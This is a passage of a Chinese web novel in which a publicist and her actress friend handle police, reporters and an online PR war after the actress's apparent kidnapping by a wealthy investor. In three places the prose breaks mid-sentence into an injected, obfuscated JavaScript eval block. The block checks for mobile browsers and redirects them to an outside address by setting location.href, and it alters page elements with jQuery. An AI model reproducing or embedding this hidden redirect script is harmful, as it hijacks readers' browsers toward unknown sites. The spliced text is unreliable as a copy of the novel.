向宁却一力坚持:“您看,我刚才跟交警队那边都说好了,总不能只给他们送,不给你们送吧,这也太厚此薄彼了。更何况这大半夜的,你们为了晓夜的事忙前忙后,都辛苦得很,我们总不能只用嘴表达感谢嘛。” 她从前为着其他艺人的事,常常与附近的几家派出所打交道,遇到的警员性格各异,办事的麻烦程度也各有不同。 但是有一条铁则不会变——只要你拿出热情,画一块锦旗形状的大饼,先把对方架到高台上,那么就算事情办不成,他们也不会太为难人。 这时简晓夜也已经反应过来,连忙帮腔,一唱一和地问清了三位警官的姓名。不论结果如何,她们都必须把承诺好的这块大饼烙出来。 不多时,警车就开到了派出所。 简晓夜被带去做笔录,向宁无法陪同,便坐在大厅等待。 午夜正值网络活跃人数的高峰,八卦总是传得很快,各平台都有帖子热议简晓夜疑似遭人绑架一事,评论区态度各异。 “天呐,幸好那辆车被交警拦下来了,否则后果不堪设想!!” “让子弹飞一会吧,肯定有反转[抠鼻],谁家绑匪开布加迪绑人啊[狗头]?反正我这把跳预言家,感觉是价钱没谈拢[滑稽]” “炒作吧?早就怀疑上次那个热搜视频是摆拍了,受害者红利很好吃吗?” 向宁透过玻璃门望去,院子外面陆续有记者赶来,采访设备均已就位。 门卫忙于维持秩序,一遍又一遍重复着:“别堵门!别堵门!” 向宁戴上耳机,本打算靠在墙上闭目养神,然而一觉眯过去,就不知过了多久。 吵醒她的是一阵手机铃声,cityofstars。 听到那首歌,向宁习惯性以为打来电话的是简晓夜。然而揉揉眼睛,定睛一看,屏幕上显示的却不是她的名字。 喔,差点忘了,之前临时给枕安换上了这个铃声。这一晚上忙的,还没来得及换回去呢。 她接起电话,打了个哈欠:“你还没睡啊?” 枕安下了车,望着马路对面拥挤的人群:“嗯,我在派出所对面的停车场。” 这个出人意料的答案使向宁清醒了几分:“你怎么过来了?” 枕安说出提前想好的理由:“你们已经上新闻了,外面围着这么多记者,总不能打车回家吧。我正好失眠,也没什么事做,就想着……” “是祝璋让你来的吧。”向宁不等他说完,直接道出了自己的结论。 枕安被她这句话打了个措手不及,顿了几秒,便是默认了。 向宁肩上还披着他的外套,低头看看,轻叹一声:“先挂了,我去找你。” 要走到马路对面并不容易,向宁得先穿过各家娱记织成一片的拦路网。 话筒堆成金字塔,向宁一出院门便被挤进人群,四周都无路可走。 记者们七嘴八舌,问的问题都差不多,声音乱哄哄的。 “你好,请问你和简晓夜是什么关系?” “朋友。” “是热搜视频里那个喝醉酒的朋友吗?” “是。” “网传简晓夜遭人绑架,嫌疑人公然宣称自己有后台,并随身带着保镖团,请问是真的吗?” “我们也在等待警方的调查结果。” 向宁一边回答问题,一边艰难前行,却始终无法突破包围圈。 “各位——各位!” 她提高音量,争取来了片刻的安静。 记者们纷纷将话筒举高了些,期待她接下来的发言。 向宁却仍不透露关键信息,只摆出一副忧心忡忡的神情:“我刚刚联系了律师,现在要去面谈,不能耽搁太久。等晓夜做完笔录,心理状态有所好转,相信她会亲自给出答复的。至于其他信息,在确认她的意愿以前,我没有资格擅自透露,抱歉。” 话已至此,记者再问下去,向宁也坚持闭口不谈。众人见挖不出什么信息,便放她走了。 但数十道目光仍然紧紧跟在她身后,送她走过马路,进入停车场,坐上一辆白色跑车。在长焦镜头下,硕大的宾利车标清晰可见。 其实向宁并不懂车。 但她知道这辆车一定价值不菲。 因为上车以后,她研究了半天才搞明白怎么关门。 “祝璋的车?”她问。 “嗯。”枕安扭头看着向宁,“你怎么知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“比如——让你劝我们对今晚的事追究到底,对杜琮紧咬不放,让晓夜拼上自己的前途去为渔人争利。” “当然不是!”枕安唯恐晚一秒解释便要被她误会,“祝璋姐不会干涉你们的决定,我也不是来替她传话的。” “好,这样最好。”向宁强压着哽咽,“不论晓夜最后怎么选择,追究到底也好,自保和解也罢,别人都没有资格干涉。我唯一能做的,就是不让别人利用她,把她当枪使。” 枕安攥起手,任由指尖划花掌心的字迹。 他以前羡慕过很多人,不过都是面目模糊的群体,例如家庭和睦的人、自由自在的人、无愧无悔的人,不一而足。 时至今日,他却第一次针对具体的某个人产生了羡慕的情绪。 他羡慕简晓夜。不是嫉妒,不该嫉妒,没资格嫉妒。 “跟简小姐比起来,或许,我还不算是你的朋友。” 语气有几分自嘲,已经是他给自己设定的规则范围内最克制的表达。 向宁不动声色地观察着,他眼中的落寞并无一丝作假的痕迹。 难道,他真的把她当做朋友了吗? 27. 正经朋友 向宁是久久泡在娱乐圈名利场里的人,见惯了逢场作戏的“友谊”,深知利益交换的必要性。 早在拍卖会那天,她就察觉了枕安厌恶杜琮,所以今晚才会拉他做临时搭档,配合着一起揭穿共同敌人的真面目。 她对他的笑容和热情,都不过是一种职业习惯而已。只要有利用价值,她对谁都这样。 可是此时此刻,向宁才迟钝地发现,枕安和她对彼此关系的定位似乎不太一样。 朋友?朋友…… 向宁没什么异性好友,仅有的几个,其实都是前男友,只是分手时说好了“还能做朋友”,不过正经论起此后的关系,实在远远比不上她的女性好友们。 难道枕安真的把她当做朋友了吗?短短几分钟内,这是向宁第二次问自己这个问题,仍旧没有想出答案。 因为她实在无法构建完整的逻辑闭环。归根结底,他们不过短短几面之缘。 可是回顾过往的相处模式,枕安又的确像一位温柔而又古怪的朋友,总是愿意给她提供帮助。 社交舒适圈里多出这样一个新人,似乎也不错。 想到这里,一个念头忽如鬼使神差般冒了出来。 “我能经常去你家蹭饭吗?”她问。 枕安如动作卡顿的机器人般点点头,大约是哪里的程序出了问题,才把她的一句玩笑话当了真。 “那就算是朋友了。”向宁由此下了判断。 不过也只是说说而已,她不会真去枕安家蹭饭的。 “好。”枕安嘴比脑子快,连忙应承下来,怕她反悔似的。 “外套借我穿一晚上OK吗?”向宁存心试探,“晚上有点冷。” “嗯,不用急着还。”枕安不假思索地答应,没有任何补充条款。 向宁不由狐疑:他是不是熬夜熬出健忘症了? “你确定?”她摘下外套上的白鹤胸针,在枕安眼前晃了晃,“尚方宝剑可还没收回去呢。” 枕安接住胸针,将这话咂摸片刻,便回过味来:“什么都瞒不过你。” 向宁笑而不语,其实是他们表现得太明显了——之前与杜琮的保镖和美术馆的前台交涉时,对方的目光都在这枚胸针上停留了几秒,紧接着便作出了让步。 更别说那上面还镶着一颗货真价实的钻石,至少两克拉,把它比作尚方宝剑也不算过誉。 物归原主以后,向宁放松地打了个哈欠,随即把瞌睡虫传染给了枕安。 三更半夜,谁都没精力继续闲聊,向宁看看手表:“时间差不多了,我就先走啦。” 说完,她在车门内侧鼓捣半天,门却纹丝不动。 该死,忘了这茬!为什么豪车设计师总喜欢在门把手上大做文章? 枕安帮她打开副驾的车门,道别前不忘询问:“等做完笔录,需要我送你和简小姐回家吗?” “你不困吗?里头还不知道要耗到什么时候呢。” “那正好,我可以在车里小睡一会。”枕安想了想,还是决定坦诚些,于是补充道,“主要是……放不下刚刚拿到的‘朋友’名分,还想出一份力。” 向宁听罢,也不好再拒绝。 “好吧。”她伸个懒腰,“这个朋友交得值!” …… 回派出所前,向宁先绕了段远路,找到一家二十四小时营业的快餐店,买了满满几大袋炸鸡汉堡,趁热分发。一半给院里的值班警员,一半给院外蹲守已久的记者。 向宁知道,即便等到简晓夜做完笔录,记者们也未必能如愿采访到她。 大半夜熬着不睡觉,在外面挨饿受冻,任谁都不会有好心情。 诚然,几份夜宵收买不了多少人心,可至少能帮她们做出姿态来——只要简晓夜与记者之间多一分互相理解的可能,她就少一分受人口诛笔伐的风险。 回到室内,向宁找到一位熟面孔询问:“许警官,晓夜大概什么时候能做完笔录呢?” “早就做完了,现在他们应该都在调解室吧。”许警官朝走廊深处望了望,“你刚出去没多久,杜琮的律师就赶来了,说是想和简女士达成和解。” 向宁疑惑道:“绑架案如果能成立,不是得走公诉吗?难道还能私下和解?” 许警官摇摇头:“我也不清楚,刚才只跟那个律师打了个照面,看他倒是胸有成竹的样子。” 向宁思忖片刻,双手握住对方的袖子:“许警官,调解时允许亲友陪同吗?我怕晓夜一个人应付不来。” 话音才落,简晓夜便从走廊尽头的调解室里推门而出。 向宁迎上前去,尚未站稳就问道:“什么情况?” 简晓夜挽住她的胳膊,边往外走边说:“杜琮他干爹派了律师来,开出一百万,说要跟我和解,我没松口。” 向宁有些意外,没想到她的态度竟然这样坚定,倒是自己多虑了。 她正想问问简晓夜是怎么打算的,还没来得及开口,杜琮的律师便从调解室追了出来,眨眼间便赶上了她们的步伐。 他约莫四十余岁,浓密板正的黑发里杂着几缕白发,不像自然的花白,倒像是整体染黑以后,为了让自己显得成熟、稳重、资历深,又特意挑染了几缕白色。 简晓夜停住脚步,不耐烦道:“孙律师,我已经跟你说过很多遍了,我不同意和解,不是钱多钱少的事。” 孙律师呵呵一笑,笑得太过用力,甚至微微躬起了上半身:“简小姐,我是来替祝董表达感谢的,谢谢你坚持不和解。” “感谢?” 他怎么跟川剧变脸似的,才几分钟的工夫,说法就不一样了。 “简小姐,你还是太年轻,太心急了。”孙律师眯起眼,脸上仿佛溢着油花,“早早把录音证据交给警方,和自断后路毫无区别。” “什么意思,你说清楚。” “哈哈哈哈哈……你不会真以为祝董这张百万支票是用来求和解的吧?傻孩子,那只不过是一种委婉的表达方式,他真正想买断的,是你手上这只录音笔啊。” “有区别吗?” 孙律师双手交握,俨然一副好为人师的样子:“当然有了。如果你同意把录音笔卖给我们,大家还勉强算是达成了双赢。可你却固执己见,非要把情感纠纷上升到刑事案件的高度,录音笔也早早作为证据交给了警方,哈哈哈哈……凭祝董的人脉,想让物证室里一支小小的录音笔不翼而飞,简直是易如反掌。简小姐,你可真会替我们省钱啊。” “你!你们……”简晓夜身形一晃,被向宁及时扶住,没有摔倒。 “事发突然,想必简小姐还没来得及备份录音文件吧?” 简晓夜的身体开始发抖,一句话也说不出来,眼眶渐渐湿润,泛着惊惧的红。 孙律师对她的反应极为满意,于是呵呵笑着,眼神像年迈的鼠:“其实就算备份了也没用,毕竟连录音设备都丢了,光有音频,法庭是不会认的,最多能在舆论上占点优势。不过现在看来,你已经连这点优势都没有了。” 简晓夜开始抽噎,嘴里不住喃喃:“卑鄙,卑鄙……” 孙律师歪头挑眉,满脸得意:“那就恕不奉陪了,敬请期待明天早上的娱乐新闻。你,你们俩,都远远不是祝董的对手。” 语毕扬长而去,头也不回。 等他彻底消失在二人的视野里,简晓夜才重新站直,脸上完全没了刚才的愤怒和惊惶。 用一场即兴表演使对手陷入轻敌情绪,才能攻其不备。让他们在志得意满时跌落泥潭,才能摔得更狠。 “如果我没记错,你的录音笔有自动同步到云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846547|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盘的功能,对吧?”她问。 向宁摇摇头,掏出手机给她看:“记错了,是蓝牙,刚才在警车上就自动传过来了。你做笔录的时候,我已经听了一遍。只能说,怪不得他们愿意在这上头花一百万。” 简晓夜拿过她的手机,把音频文件发给自己,冷笑道:“本来也没指望能靠这个给杜琮定罪,只是咽不下这口气罢了。” “那你有什么打算?” “宁宁,别明知故问嘛。” 从她扒着杜琮的车窗向路人求救的那一刻起,接下来的这场舆论战就非打不可了。 既然杜琮没能力帮她搭起事业攀升的阶梯,那就别怪她踩着他的脸面往高处走。 她在剧组受了那么多无妄之灾,风水轮流转,现在也该让杜琮尝尝苦头了。 更何况,那苦果还是他亲自种下的呢。 …… 离开派出所时,院外的记者又堵成了人墙。 简晓夜没有正面回答他们的问题,只说会尽快调整好状态,在微博等公开平台上撰文回应大家的关心。 为了不让众人白跑一趟,向宁便提议大家面对面建群。简晓夜也承诺会在事情告一段落以后,优先接受群内记者的采访邀约。 然而热点事件的当事人近在咫尺,记者们尚未获得有效信息,又怎能甘心轻易放人? 僵持不下之际,向宁看见枕安将车开到了近前,便以赶时间去见律师为借口,护着简晓夜挤出人群,一起上车坐在了后座。 为免耽误时间,这次全程由枕安控制开关车门,掐准时机,没让记者把话筒塞进车里来。 “去哪?”他问。 向宁回头看看,后面有几辆车紧追不放,不知是记者还是狗仔。 “去公司吧。”总不能把住址暴露给他们。 简晓夜拽一拽向宁的衣袖,压低声音问道:“这是谁呀?” “一个朋友。” “朋友?”简晓夜凭借过往经验做出了错误判断,“不会又是瞒着我谈的前男友之一吧?” “别胡说!”向宁轻拍一下她的手,小声反驳道,“正经朋友。” 简晓夜在心里画了个问号,却没有表现出来。 考虑到“我附庸的附庸不是我的附庸,我朋友的朋友不是我的朋友”原则,简晓夜没有在车上聊正事,三人一路无话,直到下车时才互相打了个招呼。 此时天边刚泛起些微日光,时间还早,又是周末,公司没什么人,于是二人边走边聊。 “关于回应文章,如果要写到你和杜琮的关系,你是什么想法?”向宁问。 “实话实说呗,不用替我遮掩。” 简晓夜是问心无愧的,反正她也没营销过清纯人设,更没发通稿给自己贴过淡泊名利的标签,为了拿到好角色跟富二代搅在一起,也算不上“人设崩塌”。 就算有人要戳她脊梁骨,那也没必要害怕。黑红也是红,上一代哪个前辈大花没点所谓的“黑历史”?只要有拿得出手的作品,一切都不是问题。 向宁却持不同意见:“我还是建议尽量淡化你们的利益纠葛,放大感情因素。哪怕你对他没什么真感情,也不能实话实说。” “为什么?” “规避风险,迎合市场。” 简晓夜想了想:“规避风险我明白,你是不希望我被人扣上‘心机捞女’的帽子。可放大感情因素怎么会是在迎合市场呢……现在大家不是最烦恋爱脑吗?” 向宁点头笑笑:“是。但大家讨厌的是怎么劝都没用,始终死心塌地陪在人渣身边的恋爱脑。相反,对于能够及时清醒过来,并且手撕渣男的‘前恋爱脑’,大家还是喜闻乐见的。” 简晓夜若有所思:“嗯……那就听你的。” 准备准备,开始战斗。 28. 让子弹再飞一会 进到办公室里,向宁把简晓夜按到自己的工位上。这件事的内情实在太复杂,她不放心把整理素材的事交给组内同事做。 “我去写回应文章,你把录音转成黑屏视频,挑重点精剪一下,加上字幕和情况说明之类的。” 向宁一边回忆录音内容一边嘱咐着:“从杜琮砸你手机那段开始剪,前面的都别保留,尤其不要牵扯到白鹤涯。不论她的庐山真面目到底是谁,一旦被卷进这种腌臜事,肯定会对咱们有微词。” “OK!我明白。” 二人各司其事,时间仿佛加快了前行的步伐。 回应文章写到一半时,办公室外的工区渐渐变得热闹起来。昨夜因早睡而错过大瓜的人们陆续起床,向宁的几个手机都响个不停。 向宁只接了乔煦晗的电话,简单说明情况后,对方便让她按照现有思路放手去做。 简晓夜的手机因为摔坏了无法开机,就把电话卡插进了向宁的备用机里。 她和家人关系不好,不想跟他们解释原委,只接了赵姐的电话,对方气不打一处来:“你还有没有把我这个经纪人放在眼里啊!翅膀硬了是吧!你自己丢人现眼也就罢了,别捅出篓子来连累我们呀!” 向宁知道这两人一直相处得不太愉快,径自拿过手机帮简晓夜应付道:“赵姐,晓夜这事是我全程跟着,如果公司要追责,你直接推给我就行了。” “这可是你说的,到时候可别想让我替你背黑锅!” 挂掉电话,简晓夜闷闷不乐道:“她这个经纪人做的可真轻松,没帮我拉过什么角色,出了事也不用担责任。就连我在剧组受了欺负,想请她帮我疏通疏通关系,她也只是把一个‘忍’字翻来覆去地念叨,再没别的话了。” 这时向宁正好敲下回应文章的最后一个字,揉着颈椎左右动了动脑袋:“我要是能做你的经纪人就好了。” 简晓夜自知希望不大,也不想再怨天尤人,于是玩笑道:“你才舍不得背弃煦晗姐,去拿经纪部的绿卡呢。” 顺着这个话题闲扯几句,早餐外卖终于送到,简晓夜也剪完了视频。 “现在发吗?”她问。 “不急。那个孙律师不是让我们期待今天早上的娱乐新闻吗?” 向宁把塑料袋套在手上,捏起一个小笼包放进嘴里,鼓着腮帮子说道。 “那就等他们先出招咯。” …… 瓜田里的网友个个都是神探,这才一晚上过去,他们不但扒出了杜琮的身份背景,还分析出了他与简晓夜相识的过程,网上的评论风向也随之进入新的阶段。 “不会又是投资人潜规则女演员的俗套戏码吧……看腻了,下一个。” “不是说杜老板昨晚是酒驾吗?说明简晓夜大半夜陪他去喝酒了,懂的都懂[嘘]” “心脏的人看什么都脏,晓夜说了会发文回应的,这么着急泼脏水是活不到人家发文的那一天了吗?” “笑死,小演员的胳膊难道拧得过呈业集团的大腿?这事肯定要不了了之,不信等着看吧。” 与此同时,连向宁的部分身份信息都被扒了出来。 她和简晓夜的同窗之谊被曝光后,小圈子里热衷于嗑cp的人也有了动作,给她们安上“互相救赎”的人设激情产出。 简晓夜不喜欢这些内容,总觉得人们把自己和向宁之间的感情曲解为爱情是一种矮化。 向宁却悄悄联系了营销中心,让他们给相关图频买了些热度。在她看来,什么大道理都是虚的,既然现在cp红利已经送到简晓夜嘴边了,不吃白不吃。 在网友的一片催促声中,杜琮委托律师率先发出了声明,大意如下: 「杜先生半月前去自己投资的剧组探班,被简小姐主动搭讪,因而相识。」 「在相处过程中,简小姐得知杜先生与某知名制片人是多年挚友,便使出种种手段,请求他为自己牵线搭桥。」 「经杜先生介绍,简小姐获得了面试机会,但未能得到角色。」 「出于绅士风度,杜先生亲自开车送简小姐回家。在此过程中,二人言不投机,简小姐要求杜先生动用人脉,继续给她的事业提供帮助。」 「被拒绝后,简小姐恼羞成怒,不惜自导自演所谓的绑架案,诬陷中伤杜先生,同时为自己谋关注、博眼球,欺骗广大网友的感情。」 「关于网传的“酒驾”一事,本文一并回应如下。」 「杜先生昨晚并未饮酒,但酒精测试数据异常,合理怀疑是有人蓄谋陷害。简小姐昨晚全程陪同在侧,有充分的作案时间和空间。」 「目前此事已交由警方调查,相信能还杜先生一个清白。」 「附图为报案回执与律师函。」 这篇文章一经发出,立即引导了舆论风向。恶评如潮水一般,铺天盖地涌入简晓夜的社媒账号评论区。 “好蠢的手段,看来你也是个宫斗剧里活不过前三集的货色[吃瓜]” “我就说嘛,凭杜琮的身价和颜值,想要什么样的女人没有,还犯得着强迫她一个三线小演员?” “笑死,怪不得是无脑雌竞女配专业户,本色出演了吧[狗头]” “SOS居然是这样,亏我昨天还为她说话来着,简晓夜你欠我的拿什么还!!??” 在绝大多数恶评以外,也有一部分网友仍然站在简晓夜这边。 “都是杜琮的一面之词,急着跟他站啥队呀,现在怎么不说‘让子弹再飞一会’了?” “神经,简晓夜要是给杜琮下了药还敢坐他开的车?信这个还不如信我是武则天,感业寺疯狂星期四V我50[翻白眼]” “杜琮跟啥知名制片人是好朋友啊?某瓣都扒出来了,他投资的全是烂剧,简晓夜好歹也背靠大公司,总不可能为了这种资源跟他耍心眼吧?” 简晓夜用小号给支持她的评论点了几个赞,放下手机眼巴巴看着向宁:“咱啥时候回应呀?” 向宁捂着嘴打了个哈欠,仰头靠在椅背上,闭着眼懒洋洋道:“一分钟前。” 简晓夜点进自己的大号,疑惑道:“没有啊……” 向宁强撑精神,坐起来又确认了一遍。 “哦。”一晚没睡脑子生锈了,没想起来这一茬,“视频太长,卡审核了,目前还是仅你自己可见。给,先用我的手机看吧。” 回应文章“虚实结合”,简晓夜在剧组的遭遇均为实写,提及她与杜琮的感情关系之处则用了不少春秋笔法,大意如下: 「两个月前,我进入了新戏的剧组,同时也走入了一段黑暗的时光。」 「我曾因“说错”一句台词而被多位工作人员当众羞辱,词句不堪入耳。后来我才知道,开拍前半个小时,编剧改了剧本,但并没有人来通知我。进组以来,同样的事隔三岔五就会发生。」 「我曾因犯下眨眼的力度没有“控诉感”、眼泪的流速没有“绝望感”、随风飘动的发丝没有“空气感”等错误,共三十七次被要求重拍挨耳光的镜头,全是真打。从第十三次开始,导演要求对手演员戴上金属戒指。」 「我曾因前辈从我身后路过时没有跟对方打招呼,使其心情欠佳,耽误拍摄进度。因此,我不得不“自愿”接受“礼貌教育”,即在剧中一人分饰两角,客串一个不露脸的丫鬟角色,动辄对前辈三跪九叩,下跪时长以小时为单位。」 「此类例子不胜枚举,下文不再赘述。」 「半个月前,该剧的投资人杜琮来到剧组探班,目睹我被霸凌的场景,于是仗义执言。」 「自那天起,周围原本面目可憎的每一张脸都变成了和颜悦色的样子,我也因此对杜琮充满感激。」 「不久以后,杜琮以放松心情为由带我离开剧组。在此后的相处过程中,我对他的感激也自然而然地转化为了爱慕,也许还有依赖,和对于以后终将回到剧组的恐惧。」 「在这种心态的催化下,我积极陪杜琮出入各种社交场合,祈盼能远离那片不堪回首的泥潭。」 「可是就在昨晚的酒会上,我被消息灵通的圈内好友告知,杜琮才是我被霸凌的罪魁祸首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853807|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。」 「我本不敢相信,也不愿相信,可是在与杜琮当面对质时,他亲口承认了这一切。」 「作为投资人,他先指使剧组人员折磨我,再轻而易举地拯救我,以此获得我的感激和信任。」 「更令人心痛的是,这是他的惯用手段,我并不是第一个受害者。」 「得知真相后,我提出与杜琮分手,他却以我至交好友的生命安全相威胁,逼我就范。」 「为了不连累旁人,我只能暂且和杜琮虚与委蛇,被他的保镖强行推上了车。」 「万幸的是,没过多久,我就在上衣口袋里发现了朋友为我留下的录音笔,它记录了昨晚发生的一切。」 「意识到我有了足以自保的证据以后,我便要求杜琮放我下车,却被屡次拒绝。」 「万般无奈之下,我只得扒窗向路人求助。至于后来的事,大家也都知道了。」 「本文所附视频即昨晚我与杜琮对质时的录音,和上车以后与其交涉的录音,只对我们提到的部分人名和我朋友的个人信息做了消音处理,绝无断章取义、歪曲事实之处。」 「其实在发出回应之前,我也犹豫了很久,因为我并不是完美受害人,势必会受到一些人的指责。」 「在这段录音里,你可以听到的我的愚蠢、浅薄与软弱,也可以听到我的挣扎、委屈与绝望。」 「最终选择发出录音,一方面是为了洗脱身上莫须有的罪名,让大家看清真相。」 「另一方面,也是希望大家以我为戒。尤其是与我有相似经历的人,请一定要看清所谓“救世主”的虚假与丑恶。」 「无论如何,还是很高兴我没有成为下一个受害者。」 「与此同时,我也希望杜琮的手段永远不要再骗到下一个受害者了。」 「此外,我必须澄清一点:杜琮酒驾与我毫无关系。事实上,当晚有人来给他敬酒,还是我在帮忙阻拦。」 「在这个问题上,我和大家一样期待警方的调查结果。」 「最后的最后,我也必须提醒杜琮先生,如果以后我和我的朋友发生任何意外,你都是毫无疑问的第一嫌疑人,希望你不要铸下大错。」 「现在,已经不是你本色出演□□片的黄金时代了。」 这篇文章与视频一起发出后,舆论毫无疑问地再次反转。 “我靠,好实的锤,惊了!” “刚才言之凿凿骂晓夜是法制咖的人呢?没病出来走两步?” “天呐,杜琮也太不是东西了吧,剧组那帮人也助纣为虐,真应该抵制这部剧!” 在数以万计的正向评论中,亦有个别不和谐的声音存在。 “小仙女又写小作文了,太长不看。” “鉴定为仙人跳,肯定是她自己提前准备的录音笔,居然说是朋友给的,傻子才信。” “不是,智商呢都?她说这个声音是杜琮,你们就信啊?万一是配音演员呢?别忘了简晓夜是干哪一行的。” 其中第三种恶评的声音相对最大,不过这也情有可原,因为杜琮此前并不算知名度很高的公众人物,大众对他的声音也不熟悉。 出人意料的是,她们才回应完没多久,就有匿名爆料人出手相助,给各方记者都提供了对简晓夜有利的视频证据。 向宁一看那些视频就知道爆料人是祝璋。 因为她提供的全都是无章美术馆的监控录像。 第一段是二人在露台上对质的情形,同样在杜琮摔手机的时间节点开始,可以和录音完美匹配。 第二段则是杜琮的保镖强行将简晓夜推上副驾驶的画面,与她在文章中的描述完全相符。 这些视频一经发出,阴谋论者的声音便小了许多,杜琮一方也不敢再出面回应。 网友群情激愤,有的开帖细扒参与剧组霸凌的“嫌疑人”,有的赶往警方的官博下方要求公开通报案情,严惩杜琮。 没过多久,蓝底白字的通报便发了出来,虽然不是众人期待看到的内容,却也着实让人吃了一惊。 29. 一时冲动 原来,给杜琮“下药”的人已经被找到,展厅里的监控摄像头清晰地拍到了他的身影。 在通报文件中,他被称作“嫌疑人刘某”。 除了况星宸的经纪人刘哥,还能是谁呢? 向宁现在才明白,原来况星宸口中刘哥的“重要任务”,就是做他的替死鬼。 打电话过去询问时,况星宸很是不以为意。 “这还用问吗?他当然是自愿的啊!你也不问问我给了多少钱,够他全家吃一辈子了!抓就抓呗,又不是什么大罪,撑死一年半载就出来了,不亏。啧,你担心什么呀,他不可能把我供出来的,他女儿还等着交学费呢!” “你真是越来越过火了,况星宸!”向宁吼道,“再这样下去,你迟早——” 然而况星宸已经被她骂出了经验,一听到“过火”二字就早早挂掉了电话。 谁知没过多久,网上就有传言说警方通报里的“刘某”是况星宸的经纪人。 在网友一头雾水,打算继续深扒况星宸和杜琮的恩怨时,星桥娱乐火速发文辟谣,在这些帖子的截图上画了红圈,打上大大的“假”字,仿佛这样就能堵住悠悠众口。 向宁现在没心思管况星宸的死活,为了躲开记者,她让简晓夜换上她备在办公室里的全套新衣,又从楼下造型室借了一顶白毛假发,再加上大一码的墨镜和口罩,武装齐全了才出门。 然而她们一下楼,就在公司门口碰上了记者。 还好只有一个。 还好不是来采访简晓夜的。 还好……诶,等等!你要干嘛! 熟悉的面孔上是久违的担忧神色,他三步并作两步走上前来,打了向宁一个措手不及。 “陶温,你,你先放开我。”向宁冷不防吸入一口凉气,不由咳嗽起来,“抱太紧了,咳,咳……” “还好你没事。”陶温紧紧抱住向宁,仿佛不这样做,她就会被风吹散似的。 向宁微微用力推他:“抱这么紧,本来没事都要变有事了。” 陶温手上放松了力道,双臂仍旧环着向宁,未及打理的头发自然地垂着,发梢蹭过她的耳尖,像蓬松又灵活的猫尾巴,痒。 “我看到新闻了。”他说。 “所以呢,你来干嘛?”向宁索性放弃了抵抗,然而她明知他的来意,嘴上却不饶人,大约是怕捅破了窗户纸容易尴尬吧,“要采访的话,我个人建议换你们隔壁法治频道的同事来。” 陶温怎么会看不懂她的态度,只能低头叹一声气:“我演技差,既然你不想听我说出答案,那就别问我是来干嘛的了。” 新鲜的瓜吃到这里,简晓夜已经品出了熟悉的味道,立马得到结论——该她上台救场了。 墨镜与口罩遮得住她揶揄的表情,声音却藏不住打趣的笑意:“陶温,你好歹也算公众人物,这光天化日朗朗乾坤的,你就不能注意点影响?跟新闻当事人搂搂抱抱的,传出去多不好。” 听到她的声音,陶温顿感意外,同时条件反射一般松开手,面上显出薄薄一层窘态:“是、是你啊……你这头发?喔,假发。我、我没认出来……” 对他而言,来找前女友示好并不丢脸,可要是被前女友的闺蜜当场抓获,那就尴尬了。 简晓夜上前挽住向宁的胳膊,转移话题道:“诶,之前明明有好几辆车跟到公司楼下,现在那些记者怎么全都走了?” 陶温连忙接住这个摆脱尴尬的话茬,佯装无事回答道:“你这边公开回应以后,马上有人给各家媒体都打了招呼,不让他们来采访你们。” 向宁打开微信,点进不久前拉好的群聊一看,果然有不少记者退了群。 “这个‘有人’,指的是祝高远吗?”也就是祝璋的父亲,杜琮的干爹。 陶温点点头,劝道:“你们心里知道就行了,别总宣之于口,免得又招出事来。” 那段录音里,杜琮给向宁发出的“死亡威胁”可是给陶温留下了实打实的心理阴影。杜琮固然是狐假虎威,但他背后的祝高远并不是一只好惹的纸老虎。 他虽然年纪大了,事业上在逐渐放权给祝璋,可要是对得罪他的人较起真来,肯定够对方喝一壶的。 简晓夜也在担心这一点,于是暗戳戳给陶温递出一个机会:“哦~我明白了,你是来毛遂自荐,给我们做保镖的?” 陶温当然顺杆爬:“她没意见就行。” “保镖时薪多少,怎么收费?”向宁问,“不会又让我请你吃饭吧?” “吃饭就算了,强扭的瓜不甜。”陶温以退为进,“让我撸两个小时猫就行。” “哈,我没听错吧?”这要求明显更过分了,向宁抬起头打量他,“你还想进我家的门啊?” “分手的的时候不是说过‘还能做朋友’吗?”陶温用向宁的话反将她一军,“既然是朋友,去你家做做客有什么不合适的?” “不行,猫猫胆子小,怕见生人。” “它又不是跟我不熟!向小姐贵人多忘事了吧?你捡到它的那天,还是我送你们去的兽医诊所呢。” 简晓夜见这两人说着说着话,又开始一句一怼,夹枪带棒,不由在心里吐槽起这对冤家来——单拎出来都是成熟稳重的人,凑在一起偏偏正正得负,幼稚得要命。 不过吐槽归吐槽,真到打圆场的时候,简晓夜还是愿意主动请缨。 “行了行了,都少说两句吧,我有个建议,要不要听?” 向陶二人双双收声,一起扭头看过去。 简晓夜继续说道:“干脆就请猫猫来当裁判呗,等一会进了门,它先扑谁就算谁赢。” 向宁自信满满:“OK,猫猫是我女儿,当然最亲近我了。” 陶温不甘示弱:“胜负还没定呢,你的获奖感言能不能先收一收?” 